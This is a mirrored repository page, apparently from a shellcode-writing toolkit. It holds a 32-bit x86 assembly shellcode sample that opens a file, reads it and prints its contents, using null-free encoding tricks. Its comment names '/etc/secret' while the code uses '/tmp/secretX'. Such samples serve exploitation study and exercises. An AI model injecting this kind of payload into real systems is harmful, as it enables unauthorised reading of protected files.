mirror of
https://github.com/reyammer/shellnoob
synced 2026-06-08 17:08:51 +00:00
Yanick Fratantonio
39 lines
615 B
NASM
39 lines
615 B
NASM
.section .text
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jmp fplabel
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afterfplabel:
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pop %ebx
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mov %ebx, %eax
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add $0xb, %eax # pointer to X
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xor %ecx, %ecx
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movb %cl, (%eax)
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xor %ecx, %ecx
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xor %edx, %edx
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xor %eax, %eax
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movb $0x5, %al
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int $0x80 # open('/etc/secret', 0, 0) = fd
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mov %ebx, %ecx
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mov %eax, %ebx
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xor %edx, %edx
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addb $0xff, %dl
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xor %eax, %eax
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movb $0x3, %al
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int $0x80 # read(fd, *buf, 0xff) = read_num
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xor %ebx, %ebx
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inc %ebx
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mov %eax, %edx
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xor %eax, %eax
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movb $0x4, %al
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int $0x80 # write(fd, *buf, read_num)
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xor %ebx, %ebx
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xor %eax, %eax
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inc %eax
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int $0x80 # exit(0)
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fplabel:
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call afterfplabel
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.ascii "/tmp/secretX"
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